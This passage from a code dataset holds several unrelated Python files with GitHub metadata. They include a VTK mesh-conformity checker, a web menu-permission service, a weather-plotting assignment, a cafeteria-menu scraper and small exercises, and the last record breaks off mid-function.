function relies on the vtkUnstructuredGrid.GetCell member function which is not thread safe.\n \"\"\"\n return self.re_boundary_mesh.GetCell(i)\n\n def GetPoint(self, i) -> Tuple[float, float, float]:\n \"\"\"\n Point i of the boundary mesh.\n :param i: The boundary point index.\n :return: A length-3 tuple containing the coordinates of the point.\n :warning: This member function relies on the vtkUnstructuredGrid.GetPoint member function which is not thread safe.\n \"\"\"\n return self.re_boundary_mesh.GetPoint(i)\n\n @property\n def original_cells(self):\n \"\"\"\n Returns the 2d boundary cell to the 3d cell index of the original mesh.\n :return: A 1d array.\n \"\"\"\n return self.__original_cells\n\n\ndef build_poly_data_for_extrusion(i: int, boundary_mesh: BoundaryMesh) -> vtkPolyData:\n \"\"\"\n Creates a vtkPolyData containing the unique cell `i` of the boundary mesh.\n This operation is needed to use the vtk extrusion filter.\n :param i: The boundary cell index that will eventually be extruded.\n :param boundary_mesh:\n :return: The created vtkPolyData.\n \"\"\"\n cell = boundary_mesh.GetCell(i)\n copied_cell = cell.NewInstance()\n copied_cell.DeepCopy(cell)\n points_ids_mapping = []\n for i in range(copied_cell.GetNumberOfPoints()):\n copied_cell.GetPointIds().SetId(i, i)\n points_ids_mapping.append(cell.GetPointId(i))\n polygons = vtkCellArray()\n polygons.InsertNextCell(copied_cell)\n points = vtkPoints()\n points.SetNumberOfPoints(len(points_ids_mapping))\n for i, v in enumerate(points_ids_mapping):\n points.SetPoint(i, boundary_mesh.GetPoint(v))\n polygon_poly_data = vtkPolyData()\n polygon_poly_data.SetPoints(points)\n polygon_poly_data.SetPolys(polygons)\n return polygon_poly_data\n\n\ndef are_points_conformal(point_tolerance: float, cell_i: vtkCell, cell_j: vtkCell) -> bool:\n \"\"\"\n Checks if points of cell `i` matches, one by one, the points of cell `j`.\n :param point_tolerance: The point tolerance to consider that two points match.\n :param cell_i: The first cell.\n :param cell_j: The second cell.\n :return: A boolean.\n \"\"\"\n # In this last step, we check that the nodes are (or not) matching each other.\n if cell_i.GetNumberOfPoints() != cell_j.GetNumberOfPoints():\n return True\n\n point_locator = vtkStaticPointLocator()\n points = vtkPointSet()\n points.SetPoints(cell_i.GetPoints())\n point_locator.SetDataSet(points)\n point_locator.BuildLocator()\n found_points = set()\n for ip in range(cell_j.GetNumberOfPoints()):\n p = cell_j.GetPoints().GetPoint(ip)\n squared_dist = vtk_reference(0.) # unused\n found_point = point_locator.FindClosestPointWithinRadius(point_tolerance, p, squared_dist)\n found_points.add(found_point)\n return found_points == set(range(cell_i.GetNumberOfPoints()))\n\n\nclass Extruder:\n \"\"\"\n Computes and stores all the extrusions of the boundary faces.\n The main reason for this class is to be lazy and cache the extrusions.\n \"\"\"\n def __init__(self, boundary_mesh: BoundaryMesh, face_tolerance: float):\n self.__extrusions: List[vtkPolyData] = [None, ] * boundary_mesh.GetNumberOfCells()\n self.__boundary_mesh = boundary_mesh\n self.__face_tolerance = face_tolerance\n\n def __extrude(self, polygon_poly_data, normal) -> vtkPolyData:\n \"\"\"\n Extrude the polygon data to create a volume that will be used for intersection.\n :param polygon_poly_data: The data to extrude\n :param normal: The (uniform) direction of the extrusion.\n :return: The extrusion.\n \"\"\"\n extruder = vtkLinearExtrusionFilter()\n extruder.SetExtrusionTypeToVectorExtrusion()\n extruder.SetVector(normal)\n extruder.SetScaleFactor(self.__face_tolerance / 2.)\n extruder.SetInputData(polygon_poly_data)\n extruder.Update()\n return extruder.GetOutput()\n\n def __getitem__(self, i) -> vtkPolyData:\n \"\"\"\n Returns the vtk extrusion for boundary element i.\n :param i: The cell index.\n :return: The vtk instance.\n \"\"\"\n extrusion = self.__extrusions[i]\n if extrusion:\n return extrusion\n extrusion = self.__extrude(build_poly_data_for_extrusion(i, self.__boundary_mesh),\n self.__boundary_mesh.normals(i))\n self.__extrusions[i] = extrusion\n return extrusion\n\n\ndef are_faces_conformal_using_extrusions(extrusions: Extruder,\n i: int, j: int,\n boundary_mesh: vtkUnstructuredGrid,\n point_tolerance: float) -> bool:\n \"\"\"\n Tests if two boundary faces are conformal, checking for intersection between their normal extruded volumes.\n :param extrusions: The extrusions cache.\n :param i: The cell index of the first cell.\n :param j: The cell index of the second cell.\n :param boundary_mesh: The boundary mesh.\n :param point_tolerance: The point tolerance to consider that two points match.\n :return: A boolean.\n \"\"\"\n collision = vtkCollisionDetectionFilter()\n collision.SetCollisionModeToFirstContact()\n collision.SetInputData(0, extrusions[i])\n collision.SetInputData(1, extrusions[j])\n m_i = vtkTransform()\n m_j = vtkTransform()\n collision.SetTransform(0, m_i)\n collision.SetTransform(1, m_j)\n collision.Update()\n\n if collision.GetNumberOfContacts() == 0:\n return True\n\n # Duplicating data not to risk anything w.r.t. thread safety of the GetCell function.\n cell_i = boundary_mesh.GetCell(i)\n copied_cell_i = cell_i.NewInstance()\n copied_cell_i.DeepCopy(cell_i)\n\n return are_points_conformal(point_tolerance, copied_cell_i, boundary_mesh.GetCell(j))\n\n\ndef are_faces_conformal_using_distances(i: int, j: int,\n boundary_mesh: vtkUnstructuredGrid,\n face_tolerance: float, point_tolerance: float) -> bool:\n \"\"\"\n Tests if two boundary faces are conformal, checking the minimal distance between triangulated surfaces.\n :param i: The cell index of the first cell.\n :param j: The cell index of the second cell.\n :param boundary_mesh: The boundary mesh.\n :param face_tolerance: The tolerance under which we should consider the two faces \"touching\" each other.\n :param point_tolerance: The point tolerance to consider that two points match.\n :return: A boolean.\n \"\"\"\n cp_i = boundary_mesh.GetCell(i).NewInstance()\n cp_i.DeepCopy(boundary_mesh.GetCell(i))\n cp_j = boundary_mesh.GetCell(j).NewInstance()\n cp_j.DeepCopy(boundary_mesh.GetCell(j))\n\n def triangulate(cell):\n assert cell.GetCellDimension() == 2\n __points_ids = vtkIdList()\n __points = vtkPoints()\n cell.Triangulate(0, __points_ids, __points)\n __points_ids = tuple(vtk_iter(__points_ids))\n assert len(__points_ids) % 3 == 0\n assert __points.GetNumberOfPoints() % 3 == 0\n return __points_ids, __points\n\n points_ids_i, points_i = triangulate(cp_i)\n points_ids_j, points_j = triangulate(cp_j)\n\n def build_numpy_triangles(points_ids):\n __triangles = []\n for __i in range(0, len(points_ids), 3):\n __t = []\n for __pi in points_ids[__i: __i + 3]:\n __t.append(boundary_mesh.GetPoint(__pi))\n __triangles.append(numpy.array(__t, dtype=float))\n return __triangles\n\n triangles_i = build_numpy_triangles(points_ids_i)\n triangles_j = build_numpy_triangles(points_ids_j)\n\n min_dist = numpy.inf\n for ti, tj in [(ti, tj) for ti in triangles_i for tj in triangles_j]:\n # Note that here, we compute the exact distance to compare with the threshold.\n # We could improve by exiting the iterative distance computation as soon as\n # we're sure we're smaller than the threshold. No need of the exact solution.\n dist, _, _ = triangle_distance.distance_between_two_triangles(ti, tj)\n if dist < min_dist:\n min_dist = dist\n if min_dist < face_tolerance:\n break\n if min_dist > face_tolerance:\n return True\n\n return are_points_conformal(point_tolerance, cp_i, cp_j)\n\n\ndef __check(mesh: vtkUnstructuredGrid, options: Options) -> Result:\n \"\"\"\n Checks if the mesh is \"conformal\" (i.e. if some of its boundary faces may not be too close to each other without matching nodes).\n :param mesh: The vtk mesh\n :param options: The check options.\n :return: The Result instance.\n \"\"\"\n boundary_mesh = BoundaryMesh(mesh)\n cos_theta = abs(math.cos(numpy.deg2rad(options.angle_tolerance)))\n num_cells = boundary_mesh.GetNumberOfCells()\n\n # Computing the exact number of cells per node\n num_cells_per_node = numpy.zeros(boundary_mesh.GetNumberOfPoints(), dtype=int)\n for ic in range(boundary_mesh.GetNumberOfCells()):\n c = boundary_mesh.GetCell(ic)\n point_ids = c.GetPointIds()\n for point_id in vtk_iter(point_ids):\n num_cells_per_node[point_id] += 1\n\n cell_locator = vtkStaticCellLocator()\n cell_locator.Initialize()\n cell_locator.SetNumberOfCellsPerNode(num_cells_per_node.max())\n cell_locator.SetDataSet(boundary_mesh.re_boundary_mesh)\n cell_locator.BuildLocator()\n\n # Precomputing the bounding boxes.\n # The options are important to directly interact with memory in C++.\n bounding_boxes = numpy.empty((boundary_mesh.GetNumberOfCells(), 6), dtype=numpy.double, order=\"C\")\n for i in range(boundary_mesh.GetNumberOfCells()):\n bb = vtkBoundingBox(boundary_mesh.bounds(i))\n bb.Inflate(2 * options.face_tolerance)\n assert bounding_boxes[i, :].data.contiguous # Do not modify the storage layout since vtk deals with raw memory here.\n bb.GetBounds(bounding_boxes[i, :])\n\n non_conformal_cells = []\n extrusions = Extruder(boundary_mesh, options.face_tolerance)\n close_cells = vtkIdList()\n # Looping on all the pairs of boundary cells. We'll hopefully discard most of the pairs.\n for i in tqdm(range(num_cells), desc=\"Non conformal elements\"):\n cell_locator.FindCellsWithinBounds(bounding_boxes[i], close_cells)\n for j in vtk_iter(close_cells):\n if j < i:\n continue\n # Discarding pairs that are not facing each others (with a threshold).\n normal_i, normal_j = boundary_mesh.normals(i), boundary_mesh.normals(j)\n if numpy.dot(normal_i, normal_j) > -cos_theta: # opposite directions only (can be facing or not)\n continue\n # At this point, back-to-back and face-to-face pairs of elements are considered.\n if not are_faces_conformal_using_extrusions(extrusions, i, j, boundary_mesh, options.point_tolerance):\n non_conformal_cells.append((i, j))\n # Extracting the original 3d element index (and not the index of the boundary mesh).\n tmp = []\n for i, j in non_conformal_cells:\n tmp.append((boundary_mesh.original_cells.GetValue(i), boundary_mesh.original_cells.GetValue(j)))\n\n return Result(non_conformal_cells=tmp)\n\n\ndef check(vtk_input_file: str, options: Options) -> Result:\n mesh = vtk_utils.read_mesh(vtk_input_file)\n return __check(mesh, options)\n","repo_name":"GEOS-DEV/GEOS","sub_path":"src/coreComponents/python/modules/geosx_mesh_doctor/checks/non_conformal.py","file_name":"non_conformal.py","file_ext":"py","file_size_in_byte":17357,"program_lang":"python","lang":"en","doc_type":"code","stars":172,"dataset":"github-code","pt":"37"} +{"seq_id":"8760768675","text":"from typing import List\n\nfrom backend.blueprint import get_current_user_id\nfrom backend.data.system_enum import EnumDataPermissionCategory\nfrom backend.data.transaction import Transaction\nfrom backend.model.basic_tree_vm import build_tree\nfrom backend.model.edit.data_permission_em import DataPermissionEm\nfrom backend.model.edit.menu_em import MenuEm\nfrom backend.model.view.menu_data_route_map_vm import MenuDataRouteMapVm\nfrom backend.model.view.menu_tree_vm import MenuTreeVm\nfrom backend.model.view.role_menu_vm import RoleMenuVm\nfrom backend.repository.data_permission_detail_repository import DataPermissionDetailRepository\nfrom backend.repository.data_permission_repository import DataPermissionRepository\nfrom backend.repository.menu_repository import MenuRepository\nfrom backend.service.data_permission_service import delete_data_permission_and_detail\nfrom backend.service.master_organization_service import get_user_organization_id\nfrom backend.service.role_service import get_user_current_role\nfrom backend.utility.error_helper import BusinessError\nfrom backend.utility.string_helper import is_fake_uuid\n\n\ndef get_current_menu_by_user() -> List[MenuTreeVm]:\n current_user_id = get_current_user_id()\n current_role = get_user_current_role(current_user_id)\n current_user_org_id = get_user_organization_id(current_user_id)\n\n menu_list = MenuRepository.get_current_menu(current_user_id=current_user_id, current_role_id=current_role.id)\n\n for menu_item in menu_list:\n menu_item.create_meta()\n\n result = build_tree(menu_list, order_key=lambda x: x.order)\n\n if current_user_org_id:\n sport_meeting_menu = get_pinned_sport_meeting_menu(\n current_role=current_role,\n current_user_id=current_user_id,\n organization_id=current_user_org_id,\n )\n result += sport_meeting_menu\n result.sort(key=lambda x: x.order)\n return filter_menu_tree(result)\n\n\ndef filter_menu_tree(item_list) -> List[MenuTreeVm]:\n \"\"\"根据fn_filter筛选树\"\"\"\n def fn_filter(x):\n return x.enabled and x.selected\n\n def filter_sub_tree(o, parent_selected=True, parent_enabled=True):\n o.selected = True if parent_selected else o.selected # 当父节点选中时选中所有\n o.enabled = False if not parent_enabled else o.enabled # 当父节点禁用时禁用所有\n if o.children:\n child_result = []\n for child in o.children:\n child = filter_sub_tree(child, o.selected, o.enabled)\n if fn_filter(child):\n child_result.append(child)\n o.children = child_result\n if o.children is not None:\n o.selected = len(o.children) > 0\n return o\n\n result = []\n for item in item_list:\n item = filter_sub_tree(item, item.selected, item.enabled)\n if fn_filter(item):\n result.append(item)\n return result\n\n\ndef get_all_menu_list() -> List[MenuTreeVm]:\n menu_list = MenuRepository.get_all_menu_for_manager()\n return build_tree(menu_list, order_key=lambda x: x.order)\n\n\ndef create_or_update_menu_item(data: MenuEm, transaction: Transaction, do_update=False) -> str:\n if not do_update:\n return MenuRepository.insert_menu_item(data=data, transaction=transaction)\n else:\n if data.id == data.parent_id:\n raise BusinessError(\"上级菜单不得为当前菜单!\")\n MenuRepository.update_menu_item(data=data, transaction=transaction)\n return data.id\n\n\ndef delete_menu_item(menu_id: str, transaction: Transaction):\n return MenuRepository.delete_menu_item(\n menu_id=menu_id,\n transaction=transaction,\n )\n\n\ndef get_menu_id_list_for_role(role_id: str):\n return DataPermissionRepository.get_detail_object_id_list_by_params({\n \"authorized_object_category\": \"role\",\n \"authorized_object_id\": role_id,\n \"permitted_object_category\": \"menu\",\n \"permission_category\": EnumDataPermissionCategory.allow.name,\n })\n\n\ndef set_menu_id_list_for_role(role_menu_vm: RoleMenuVm, transaction: Transaction):\n data_permission_id = DataPermissionRepository.get_or_create_data_permission(\n data_permission_em=DataPermissionEm(\n authorized_object_category=\"role\",\n authorized_object_id=role_menu_vm.role_id,\n permitted_object_category=\"menu\",\n permission_category=EnumDataPermissionCategory.allow.name,\n ),\n transaction=transaction,\n )\n\n DataPermissionDetailRepository.update_detail_id_list_of_data_permission(\n data_permission_id=data_permission_id,\n new_object_id_list=set(role_menu_vm.menu_id_list),\n permitted_object_category=\"menu\",\n transaction=transaction,\n )\n\n\ndef get_menu_data_route_list(menu_id: str):\n return DataPermissionRepository.get_detail_object_id_list_by_params({\n \"authorized_object_category\": \"menu\",\n \"authorized_object_id\": menu_id,\n \"permitted_object_category\": \"route\",\n \"permission_category\": EnumDataPermissionCategory.allow.name,\n })\n\n\ndef set_menu_data_route_list(data: MenuDataRouteMapVm, transaction: Transaction):\n \"\"\"设置菜单所使用的DataRoute\"\"\"\n\n data.route_id_list = filter(lambda x: not is_fake_uuid(x), data.route_id_list)\n\n data_permission_id = DataPermissionRepository.get_or_create_data_permission(\n data_permission_em=DataPermissionEm(\n authorized_object_category=\"menu\",\n authorized_object_id=data.menu_id,\n permitted_object_category=\"route\",\n permission_category=EnumDataPermissionCategory.allow.name,\n ),\n transaction=transaction,\n )\n\n DataPermissionDetailRepository.update_detail_id_list_of_data_permission(\n data_permission_id=data_permission_id,\n new_object_id_list=set(data.route_id_list),\n permitted_object_category=\"route\",\n transaction=transaction,\n )\n\n\ndef clear_menu_data_route_list(menu_id: str, transaction: Transaction):\n return delete_data_permission_and_detail(\n authorized_object_category='menu',\n authorized_object_id=menu_id,\n permitted_object_category='route',\n permission_category='allow',\n transaction=transaction,\n )","repo_name":"Philogag/The-Project-Demo","sub_path":"backend/service/menu_service.py","file_name":"menu_service.py","file_ext":"py","file_size_in_byte":6263,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72235985386","text":"meu_email = 'cnmontanhismo@gmail.com'\nemail_from = 'CNM - Clube Niteroiense de Montanhismo'\nhost = 'smtp.gmail.com'\nporta = 587\ncaminho_anuidades = 'planilhas_dados/Planilha sem título - Página1.csv'\ncabecalho_anuidade = ('pagamento', 'inicio', 'fim')\ncaminho_dados = 'planilhas_dados/userlist.csv'\n\n\nconfiguracoes = {'meu_email': meu_email, 'email_from': email_from, \"host\": host, \"porta\": porta,\n 'caminho_anuidades': caminho_anuidades, 'cabecalho_anuidade': cabecalho_anuidade,\n 'caminho_dados': caminho_dados}\n\n","repo_name":"LuisAvellar/enviar_emails","sub_path":"enviar_e-mails/configuracoes.py","file_name":"configuracoes.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11943321129","text":"# Name: Mantej Lamba\n# USC email: mlamba@usc.edu\n# ITP 216, Spring 2023\n# Section: 31883R\n# Assignment 13\n# Description: assignment where we practice using matplotlib and pandas to visualize data\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef main():\n # reading in the dataset\n df = pd.read_csv(\"weather.csv\")\n\n # removing rows of data where the observed temp is null\n df = df[df[\"TOBS\"].notnull()]\n\n # making a column for year: allows us to easily get the last 10 years\n df[\"YEAR\"] = df[\"DATE\"].str[0:4]\n # list of years till 2023\n years_list = list(df[\"YEAR\"].unique())\n\n # making a column for month: allows us to group by month\n df[\"MONTH_DAY\"] = df[\"DATE\"].str[-5:]\n df = df[df['MONTH_DAY'] != '02-29'] # drop leap years\n # list of month days (01-01, 01-02, 01-03)\n month_days_list = list(df[\"MONTH_DAY\"].unique())\n\n df.sort_values(inplace=True, by='MONTH_DAY')\n # sorted data frame by date (01-01 to 12-31) of all the years\n # print(df[['DATE', 'YEAR', 'MONTH_DAY', 'TOBS']])\n\n # list of months to label the x-axis of both graphs\n month_list = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n\n # creating the static\n fig,ax = plt.subplots(2,1)\n\n # list of colors and grouping by year\n color_list = [\"blue\", \"red\", \"black\", \"green\", \"pink\", \"purple\", \"yellow\", \"orange\", \"#A23F2A\", \"#26AAB7\", \"#9973EA\"]\n df_grouped = df.groupby(\"YEAR\")\n\n # looping through years and plot each individual year\n i = 0\n for year in years_list:\n df_group = df_grouped.get_group(year)\n ax[0].plot(df_group[\"MONTH_DAY\"],\n df_group[\"TOBS\"],\n color = color_list[i],\n label = year)\n i = i+ 1\n\n # setting titles, labels and ticks\n ax[0].set_title(\"Most recent 10 years\")\n ax[0].set_xlabel(\"Month\")\n ax[0].set_ylabel(\"temp (F)\")\n interval_ticks = []\n for i in range(12):\n interval_ticks.append(i*365/12)\n ax[0].set_xticks(interval_ticks)\n ax[0].set_xticklabels(month_list)\n ax[0].legend(loc='center left', bbox_to_anchor=(1, 0.5))\n ax[0].grid(True)\n\n # creating separate dfs to separate 2019 from the historical years\n historical_df = df[df[\"YEAR\"] != \"2019\"]\n current_df = df[df[\"YEAR\"] == \"2019\"]\n\n # keeping just the first row of any unique date for the year 2019\n current_df = current_df.drop_duplicates(subset=[\"MONTH_DAY\"], keep = \"first\")\n\n # making an empty list to store average temps for historical data\n # converting current year df to a list using typecasting to store observed temps for 2019\n # grouping historical years by 'MONTH_DAY' / contains dates NOT in 2019\n average_temps = []\n current_year_df = current_df[\"TOBS\"].tolist()\n current_year_df.append(62.0)\n df2_group = historical_df.groupby(\"MONTH_DAY\")\n\n # looping through each day of the year and adding average to a list\n for day in month_days_list:\n month_day_group = df2_group.get_group(day)\n avg_temp = month_day_group['TOBS'].mean()\n average_temps.append(avg_temp)\n\n\n # plotting the two bar static\n ax[1].bar(month_days_list, average_temps, color = \"blue\", label = 'historical average')\n ax[1].bar(month_days_list, current_year_df, color = \"green\", label = '2019')\n\n # setting titles, labels and ticks\n ax[1].set_title(\"Comparing current year and historical averages\")\n ax[1].set_xlabel(\"Month\")\n ax[1].set_ylabel(\"temp (F)\")\n interval_ticks = []\n for i in range(12):\n interval_ticks.append(i * 365 / 12)\n ax[1].set_xticks(interval_ticks)\n ax[1].set_xticklabels(month_list)\n ax[1].legend(loc='center left', bbox_to_anchor=(1, 0.5))\n ax[1].grid(True)\n\n # figure specifications\n fig.suptitle(\"Yearly climatological data for zip 94536 from 2013 to 2023\")\n fig.tight_layout()\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mantejl/AppliedPython","sub_path":"ITP_216_H13_Lamba_Mantej/ITP_216_H13_Lamba_Mantej.py","file_name":"ITP_216_H13_Lamba_Mantej.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70099389866","text":"from music import *\n\n# arpeggioPattern = [0, 2, 4, 5, 7, 9, 11] # major scale\narpeggioPattern = [0, 2, 3, 5, 7, 8, 10] # minor scale\nduration = TN\n\nrootPitch = input(\"Enter root note (e.g., C4): \")\nrepetitions = input(\"Enter how many times you want to repeat the arpeggio: \")\n\narpeggioPhrase = Phrase(0.0)\n\nfor interval in arpeggioPattern:\n pitch = rootPitch + interval\n n = Note(pitch, duration)\n arpeggioPhrase.addNote(n)\n \nMod.repeat(arpeggioPhrase, repetitions)\n\nlastPitch = rootPitch + arpeggioPattern[0]\nn = Note(lastPitch, duration * 4)\narpeggioPhrase.addNote(n)\n\nPlay.midi(arpeggioPhrase)","repo_name":"acbarker19/CSC299-Making-Music-With-Computers","sub_path":"In-Class Exercises/major_scale.py","file_name":"major_scale.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37317095824","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport os, os.path, csv\r\nimport re\r\nfrom archFilter import *\r\nfrom datetime import datetime\r\n\r\n\r\n'''\r\ndef cleanhtml(raw_html):\r\n cleanr = re.compile('<.*?>')\r\n cleantext = re.sub(cleanr, '', str(raw_html))\r\n return cleantext\r\n'''\r\n\r\ndef actualizarArchivos():\r\n\tstatus = open(\"status.txt\")\r\n\tday = status.readlines()[0]\r\n\tstatus.close()\r\n\r\n\t#Obtencion del dia actual\r\n\tdate = str(datetime.now())\r\n\tfecha,_ = date.split()\r\n\tanio, mes, dia = map(int,fecha.split('-'))\r\n\t#if int(day) != dia:\r\n\tif True:\r\n\t\t#Url de donde se consiguio la data \r\n\t\tlistingurl=\"https://www.usm.cl/comunidad/servicio-de-alimentacion/\"\r\n\r\n\t\t#Procesamiento del archivo html\r\n\t\tresponse = requests.get(listingurl)\r\n\t\tsoup = BeautifulSoup(response.text, \"html.parser\")\r\n\t\ttable = soup.find_all(\"table\")[0]\r\n\t\trow_marker = 0\r\n\r\n\t\t#Creacion de archivo donde cada ! es una fila y cada - es una columna\r\n\t\tData = open('Almuerzos.txt', 'w')\r\n\t\tfor row in table.find_all('tr'):\r\n\t\t\tcolumn_marker = 0\r\n\t\t\tcolumns = row.find_all('td')\r\n\t\t\tData.write(\"!\\n\")\r\n\t\t\tfor column in columns:\r\n\t\t\t\tData.write(column.get_text() + \"\\n\")\r\n\t\t\t\tcolumn_marker += 1\r\n\t\t\t\tData.write(\"-\\n\")\r\n\t\t\trow_marker += 1\r\n\r\n\t\tData.close()\r\n\r\n\t\t#Obtencion del diccionario de almuerzos\r\n\t\tdiccionario = getData()\r\n\t\tday, index = getCurrentDayAndIndex(diccionario, dia)\r\n\t\tinfoDelDia = open('info.txt', 'w')\r\n\t\tstatus = open('status.txt', 'w')\r\n\t\tif day == 'nah':\r\n\t\t\tstatus.write(str(dia))\r\n\t\t\tinfoDelDia.write('No hay informacion disponible para hoy.\\n')\r\n\t\telse:\r\n\t\t\tinfoDelDia.write(day+\"\\n\\n\")\r\n\t\t\tstatus.write(str(dia))\r\n\t\t\tdel diccionario[0]\r\n\t\t\tdel diccionario[1]\r\n\t\t\t#print(diccionario, index)\r\n\t\t\tfor _,values in diccionario.items():\r\n\t\t\t\tinfoDelDia.write(values[0][0] + \"\\n\")\r\n\t\t\t\tfor dato in values[index]:\r\n\t\t\t\t\tinfoDelDia.write(dato + \"\\n\")\r\n\t\t\t\tinfoDelDia.write(\"\\n\")\r\n\r\n\t\tinfoDelDia.close()\r\n\t\tstatus.close()\r\n\r\nactualizarArchivos()\r\n'''\r\nData = open('Data.txt','w')\r\nfor rows in soup.find_all(\"table\"):\r\n limpio = cleanhtml(rows)\r\n print(rows)\r\n Data.write(limpio+'\\n')\r\nData.close()\r\n'''\r\n\r\n'''\r\ndef obtenerAlmuerzos():\r\n\tarch = open(\"Data.txt\")\r\n\talmuerzos = False\r\n\tdietas = False\r\n\tcenas = False\r\n\tvegetariano = False\r\n\tdia = 1\r\n\t# Creacion de listas para los alimentos\r\n\tlistaAlmuerzos = {'Lunes': [], 'Martes': [], 'Miercoles': [], 'Jueves': [], 'Viernes': []}\r\n\tlistaDietas = {'Lunes': [], 'Martes': [], 'Miercoles': [], 'Jueves': [], 'Viernes': []}\r\n\tlistaVegetariano = {'Lunes': [], 'Martes': [], 'Miercoles': [], 'Jueves': [], 'Viernes': []}\r\n\tlistaCenas = {'Lunes': [], 'Martes': [], 'Miercoles': [], 'Jueves': [], 'Viernes': []}\r\n\r\n\t# Creacion de diccionario para los dias\r\n\tdicc = {'Lunes': [], 'Martes': [], 'Miercoles': [], 'Jueves': [], 'Viernes': []}\r\n\tfor linea in arch:\r\n\t\tlinea = linea.strip()\r\n\t\t# Condicionales para agregar el dia correspondiente.\r\n\t\tif \"Lunes\" in linea:\r\n\t\t\tdia, numero = linea.split()\r\n\t\t\tdicc[\"Lunes\"].append(dia)\r\n\r\n\t\telif \"Martes\" in linea:\r\n\t\t\tdia, numero = linea.split()\r\n\t\t\tdicc[\"Martes\"].append(dia)\r\n\r\n\t\telif \"Miercoles\" in linea:\r\n\t\t\tdia, numero = linea.split()\r\n\t\t\tdicc[\"Miercoles\"].append(dia)\r\n\r\n\t\telif \"Jueves\" in linea:\r\n\t\t\tdia, numero = linea.split()\r\n\t\t\tdicc[\"Jueves\"].append(dia)\r\n\r\n\t\telif \"Viernes\" in linea:\r\n\t\t\tdia, numero = linea.split()\r\n\t\t\tdicc[\"Viernes\"].append(dia)\r\n\r\n\t\telse:\r\n\t\t\tif \"Almuerzos\" in linea:\r\n\t\t\t\talmuerzos = True\r\n\t\t\telif \"Dietas\" in linea:\r\n\t\t\t\talmuerzos = False\r\n\t\t\t\tdietas = True\r\n\t\t\telif \"Vegetariano\" in linea:\r\n\t\t\t\tdietas = False\r\n\t\t\t\tvegetariano = True\r\n\t\t\telif \"Cenas\" in linea:\r\n\t\t\t\tvegetariano = False\r\n\t\t\t\tcenas = True\r\n\t\t\telse:\r\n\t\t\t\tif almuerzos:\r\n\t\t\t\t\tif \"HASTA AGOTAR STOCK\" in linea:\r\n\t\t\t\t\t\tdia = 2\r\n\t\t\t\t\telse:\r\n\r\n\treturn\r\n'''\r\n","repo_name":"Imashi1/MinutaBot","sub_path":"MinutaData.py","file_name":"MinutaData.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37253641510","text":"def found_palindromes(words: list):\n forward = words\n backward = [ch[::-1]for ch in words]\n\n matches = ['True' if i == j else 'False' for i, j in zip(forward, backward)]\n return matches\n\n\nintegers_list = input().split(', ')\n\nprint(\"\\n\".join(found_palindromes(integers_list)))\n","repo_name":"SilviyaKolchakova/Softuni_Fundamentals_Module_Projects","sub_path":"functions_palindrome_integers.py","file_name":"functions_palindrome_integers.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5777994391","text":"from pypers.core.step import Step\nfrom pypers.steps.mothur import Mothur\nimport os\nimport json\nimport re\n\nclass MothurMakeContigs(Mothur):\n\n spec = {\n 'name' : 'MothurMakeContigs',\n 'version' : '20151106',\n 'descr' : [\n 'Runs make.contigs with the file option to output a single fasta file from a list of paired fastq files'\n ],\n 'url' : 'http://www.mothur.org/wiki/Make.contigs',\n 'args' : {\n 'inputs' : [\n {\n 'name' : 'input_list',\n 'type' : 'file',\n 'iterable' : True,\n 'descr' : 'input filename for list of paired fastq files'\n }\n ],\n 'outputs' : [\n {\n 'name' : 'output_fasta',\n 'type' : 'file',\n 'descr': 'output fasta filename'\n },\n {\n 'name' : 'output_groups',\n 'type' : 'file',\n 'descr': 'output groups filename'\n }\n ],\n 'params' : [\n ]\n },\n 'requirements' : {\n 'cpus' : '8'\n }\n }\n\n\n def process(self):\n \"\"\"\n Create the necessary input file links and run mothur command\n \"\"\"\n\n if type(self.input_list) != list:\n self.input_list = [self.input_list]\n\n for input_list in self.input_list:\n\n self.mk_links([input_list],self.output_dir)\n\n input_list = os.path.join(self.output_dir,os.path.basename(input_list))\n\n extra_params={'file':input_list}\n self.run_cmd('make.contigs',extra_params)\n\n output_root = os.path.splitext(os.path.basename(input_list))[0]\n self.output_fasta = os.path.join(self.output_dir,'%s.trim.contigs.fasta' % output_root)\n self.output_groups = os.path.join(self.output_dir,'%s.contigs.groups' % output_root) \n\n","repo_name":"frankosan/pypers","sub_path":"pypers/steps/mothur/MothurMakeContigs.py","file_name":"MothurMakeContigs.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"38768485257","text":"# -*- encoding: utf-8 -*-\n'''\n@File : 4.py\n@Time : 2020/03/24 16:42:54\n@Author : xdbcb8 \n@Version : 1.0\n@Contact : 838025538@qq.com\n'''\n\n# here put the import lib\n'''\n 在当前目录新建目录img, 里面包含10个文件, 10个文件名各不相同(X4G5.png)\n 将当前img目录所有以.png结尾的后缀名改为.jpg.\n'''\nimport os\ndirpath = r\"test\\homework3\\img\"\nfilename = os.listdir(dirpath)\nfor n in filename:\n allname = os.path.splitext(n)\n if allname[1] == \".png\":\n newname = allname[0]+\".jpg\"\n os.rename(dirpath+\"\\\\\"+n, dirpath+\"\\\\\"+newname)\n\n","repo_name":"Liugenhao-gh/python_homework","sub_path":"homework3/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20464251139","text":"import requests\nimport datetime\nfrom config import *\nfrom databases.db import *\n\ncurrent_year = datetime.datetime.now().year\n\ndef get_user_information(user_id):\n response = 